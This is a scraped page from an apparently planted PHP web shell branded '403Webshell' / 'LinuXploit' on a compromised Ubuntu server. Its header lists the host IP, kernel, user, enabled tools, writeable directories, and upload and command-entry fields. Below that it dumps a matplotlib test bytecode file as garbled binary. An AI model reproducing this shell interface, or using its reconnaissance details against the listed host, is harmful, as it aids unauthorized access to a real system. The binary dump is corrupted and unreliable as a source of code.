403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/matplotlib/tests/__pycache__/test_preprocess_data.cpython-312.pyc
�

G8�cj,��"�ddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZeddgd��dd��ZegZ
d	gZd
�Zej j#de
e��d
��Zej j#de
e��d��Zej j#de
e��d��Zej j#de
e��d��Zej j#de
e��d��Zd�Zd�Zd�Zd�Zd�ZGd�d�Zy)�N��_preprocess_data)�Axes)�check_figures_equal�x�y��
replace_names�label_namerc
�H�dt|��dt|��d|�d|�d|��
S�Nzx: z, y: z, ls: z, w: z	, label: ��list��axrr�ls�label�ws      �G/usr/lib/python3/dist-packages/matplotlib/tests/test_preprocess_data.py�	plot_funcrs!��	
�Q���a��"�a��
(�)�rc��d�}d�}d�}d�}tddg��|�tddg��|�tddg��|�tjt�5tgd���|�d	d	d	�tgd	�
�|�tgd	�
�|�tgd	�
�|�tgd	�
�|�tjt�5td��|�d	d	d	�tjt�5td��|�d	d	d	�y	#1swY��xYw#1swY�JxYw#1swYy	xYw)
z.Test decorator invocations -> no replacements.c��y�N�)rrrs   r�funcz%test_compiletime_checks.<locals>.func ��rc��yrr)rrr�argss    r�	func_argsz*test_compiletime_checks.<locals>.func_args!rrc��yrr)rrr�kwargss    r�func_kwargsz,test_compiletime_checks.<locals>.func_kwargs"rrc��yrr)rr"s  r�func_no_ax_argsz0test_compiletime_checks.<locals>.func_no_ax_args#rrrr�r
)rr�zNr	r'�r)r�pytest�raises�AssertionError)rr r#r%s    r�test_compiletime_checksr,s:���(�-�.�/��C��:�.�t�4�.��C��:�.�{�;�.��C��:�.�y�9�
���~�	&�C�7���7�	�B�C�
9��2�4�8��>�8��2�4�8��C�8��2�4�8��E�8��2�4�8��I�
���~�	&�0�)��S�)�$�/�0�
���~�	&�5�)��S�)�)�4�5�5�C�C��0�0��5�5�s$�"D4�$E�E�4D=�E	�Er)�idsc���|ddd�dk(sJ�|ddd��dk(sJ�|dddd��dk(sJ�|dddd	��d
k(sJ�|dddd��dk(sJ�|dddd	��d
k(sJ�y)z%Test without data -> no replacements.Nrrz.x: ['x'], y: ['y'], ls: x, w: xyz, label: None)rr�)rz*x: ['x'], y: ['y'], ls: x, w: xyz, label: �textz.x: ['x'], y: ['y'], ls: x, w: xyz, label: text)rrrr)rs r�test_function_call_without_datar1>s���
��s�C� �<�
=�>�
=�����$�<�
=�>�
=���s�C�r�*�8�
9�:�
9���s�C�v�.�<�
=�>�
=�����2�.�8�
9�:�
9�����6�2�<�
=�>�
=rc�d�ddd�}|d|j�|j��dk(sJ�y)z8Tests with dict input, unpacking via preprocess_pipeline��)�a�bNz4x: ['a', 'b'], y: [1, 2], ls: x, w: xyz, label: None)�keys�values�r�datas  r�"test_function_call_with_dict_inputr;Os;�����D���t�y�y�{�D�K�K�M�2�B�
C�D�
Crc���ddgddgdd�}|ddd	|�
�dk(sJ�|ddd	|��dk(sJ�|ddd	d
|��dk(sJ�|ddd	d|��dk(sJ�|ddd	d
|��dk(sJ�|ddd	d|��dk(sJ�y)zCTest with dict data -> label comes from the value of 'x' parameter.r3r4��	�NOT�r5r6rNr5r6�r:�-x: [1, 2], y: [8, 9], ls: x, w: xyz, label: b�rrr:r/�rr:�,x: [1, 2], y: [8, 9], ls: x, w: xyz, label: r0�0x: [1, 2], y: [8, 9], ls: x, w: xyz, label: text�rrrr:rr9s  r�!test_function_call_with_dict_datarHWs����Q��q�!�f�5�1�D���s�C�d�+�;�
<�=�
<�����$�/�;�
<�=�
<���s�C�r��5�:�
;�<�
;���s�C�v�D�9�>�
?�@�
?�����2�D�9�:�
;�<�
;�����6��=�>�
?�@�
?rc���ddgdd�}|ddd|��d	k(sJ�|ddd|�
�d	k(sJ�|dddd|��d
k(sJ�|dddd|��dk(sJ�|dddd|��d
k(sJ�|dddd|��dk(sJ�y)zETest the case that one var is not in data -> half replaces, half keptr3r4r?)r5rNr5r6rAz,x: [1, 2], y: ['b'], ls: x, w: xyz, label: brCr/rDz+x: [1, 2], y: ['b'], ls: x, w: xyz, label: r0z/x: [1, 2], y: ['b'], ls: x, w: xyz, label: textrGrr9s  r�-test_function_call_with_dict_data_not_in_datarJis����Q��e�$�D���s�C�d�+�:�
;�<�
;�����$�/�:�
;�<�
;���s�C�r��5�9�
:�;�
:���s�C�v�D�9�=�
>�?�
>�����2�D�9�9�
:�;�
:�����6��=�=�
>�?�
>rc��|jtjddgtj��tjddgtj��ddgd��}|dd	d
|��dk(sJ�|dd	d
|�
�dk(sJ�|dd	d
d|��dk(sJ�|dd	d
d|��dk(sJ�|dd	d
d|��dk(sJ�|dd	d
d|��dk(sJ�y)zDTest with pandas dataframe -> label comes from ``data["col"].name``.r3r4)�dtyper=r>r?r@Nr5r6rArBrCr/rDrEr0rFrG)�	DataFrame�np�array�int32)r�pdr:s   r�#test_function_call_with_pandas_datarR{s���<�<�b�h�h��1�v�R�X�X�>� �h�h��1�v�R�X�X�>�$�e�n�.�/�D�
��s�C�d�+�;�
<�=�
<�����$�/�;�
<�=�
<���s�C�r��5�:�
;�<�
;���s�C�v�D�9�>�
?�@�
?�����2�D�9�:�
;�<�
;�����6��=�>�
?�@�
?rc��ddgddgdd�}td��dd��}|d
dd
d	|��dk(sJ�|d
dd
d	|��dk(sJ�|d
dd
d	d|��dk(sJ�|d
dd
d	d|��dk(sJ�|d
dd
d	d|��dk(sJ�|d
dd
d	d|��dk(sJ�y
)zETest without a "replace_names" argument, all vars should be replaced.r3r4r=r>�xyz)r5r6rrr(rNc
�H�dt|��dt|��d|�d|�d|��
Sr
rrs      r�func_replace_allz8test_function_call_replace_all.<locals>.func_replace_all��!��
��G�T�!�W�b�!�U�,�	,rr5r6)rr:rB)rrrr:r/)rrr:rEr0rF)rrrrr:)rNr?r)r:rVs  r�test_function_call_replace_allrX�s	���Q��q�!�f�5�1�D��#�&�,�'�,�
�T�3��s��>�;�
<�=�
<��T�S�C�3�T�B�;�
<�=�
<��T�3��s�"�4�H�:�
;�<�
;�	��s�C�3�f�4�H�:�	;�<�	;�	����s�"�4�H�6�	7�8�	7�	����s�&�t�L�:�	;�<�	;rc���tddgd��dd��}ddgdd	gd
d�}|ddd
|��dk(sJ�|ddd
|��dk(sJ�|ddd
d|��dk(sJ�|ddd
d|��dk(sJ�y)z<Test with "label_namer=None" -> no label replacement at all.rrNr	c
�H�dt|��dt|��d|�d|�d|��
Sr
rrs      r�
func_no_labelz1test_no_label_replacements.<locals>.func_no_label�rWrr3r4r=r>r?r@r5r6rAz0x: [1, 2], y: [8, 9], ls: x, w: xyz, label: NonerCr/rDrEr0rF�rNrTr)r[r:s  r�test_no_label_replacementsr]�s����S�#�J�D�A�,�B�,��Q��q�!�f�5�1�D��$��S�t�4�>�
?�@�
?��$�#��4�8�>�
?�@�
?��$��S���>�:�
;�<�
;��$��S��T�B�>�
?�@�
?rc	��tddgd��dd��}ddgddgd	d
�}tjt�5|dddd
d
|��ddd�y#1swYyxYw)Nrrr	r3c��yrr)rrrr's    rrz/test_more_args_than_pos_parameter.<locals>.func�s��rr4r=r>r?r@r5r6r'rA)r3)rr)r*�	TypeErrorr9s  r�!test_more_args_than_pos_parameterra�si���S�#�J�C�@�
�A�
��Q��q�!�f�5�1�D�	���y�	!�2��T�3��S�#�D�1�2�2�2�s�A�Ac��t�d��}tjd|j�sJ�tjd|j�rJ�tg��d
d��}tjd|j�rJ�tjd|j�rJ�tdg��d
d��}tjd|j�rJ�tjd|j�rJ�td	d
g��d
d��}tjd|j�rJ�tjd|j�rJ�y)Nc��y�z�
        Parameters
        ----------
        data : indexable object, optional
            DATA_PARAMETER_PLACEHOLDER
        Nr)rrr"s   r�funcyz&test_docstring_addition.<locals>.funcy�rrz#all parameters also accept a stringzthe following parametersr&c��yrdr�rrrr'�bars     rrez&test_docstring_addition.<locals>.funcy�rrrhc��yrdrrgs     rrez&test_docstring_addition.<locals>.funcy�rrz&the following parameters .*: \*bar\*\.r�tc��yrdr)rrrr'rjs     rrez&test_docstring_addition.<locals>.funcy�rrz+the following parameters .*: \*x\*, \*t\*\.r)r�re�search�__doc__)res r�test_docstring_additionro�sG��������9�9�;�U�]�]�K�K�K��y�y�4�e�m�m�D�D�D��B�'��(���y�y�?����O�O�O��y�y�4�e�m�m�D�D�D��U�G�,��-���y�y�?����O�O�O��y�y�B����(�(�(��S�#�J�/��0���y�y�?����O�O�O��y�y�G����(�(�(�(rc�~�d}tjd|g}tj|dd��}d|jvsJ�y)z�
    Test that the docstring contains the correct *data* parameter stub
    for all methods that we run _preprocess_data() on.
    zYimport logging; logging.basicConfig(level=logging.DEBUG); import matplotlib.pyplot as pltz-cT)r0�capture_outputzdata parameter docstring errorN)�sys�
executable�
subprocess�run�stderr)�program�cmd�completed_procs   r�test_data_parameter_replacementrz�sD��	*��
�>�>�4��
)�C��^�^�C�d�4�H�N�+�>�3H�3H�H�H�Hrc��eZdZejej
ejgZejjde�edg��d���Zejjde�edg��d���Z
y)�
TestPlotTypes�plotter�png)�
extensionsc���gd�}gd�}tt||��}||j�|j�|j	��||j�||�y)N�r3r4�����)�dict�zip�subplotsr7r8)�selfr}�fig_test�fig_refrr�ddicts       r�test_dict_unpackzTestPlotTypes.test_dict_unpacksV��
�����S��A�Y�����!�!�#��
�
��e�l�l�n�	.��� � �"�A�q�)rc�~�gd�}gd�}||j�dd||d���||j�||�y)Nr�r��xval�yval)r�r�rA)r�)r�r}r�r�rrs      r�test_data_kwargzTestPlotTypes.test_data_kwargsB��
������!�!�#�V�V���+�	-��� � �"�A�q�)rN)�__name__�
__module__�__qualname__r�scatterrh�plot�plottersr)�mark�parametrizerr�r�rrrr|r|
s������d�h�h��	�	�2�H��[�[���Y��1��U�G�,�*�-�2�*��[�[���Y��1��U�G�,�*�-�2�*rr|r\)rlrtrr�numpyrNr)�
matplotlibr�matplotlib.axesr�matplotlib.testing.decoratorsrr�	all_funcs�all_func_idsr,r�r�r1r;rHrJrRrXr]rarorzr|rrr�<module>r�sP��	��
��
�'� �=���c�
��<�)�=�)�
�K�	��}��5�B���������=�
>�>�
>� ���������=�D�>�D����������=�@�>�@�"���������=�?�>�?�"���������=�@�>�@�(<�4@�&2�1(�hI�*�*r

Youez - 2016 - github.com/yon3zu
LinuXploit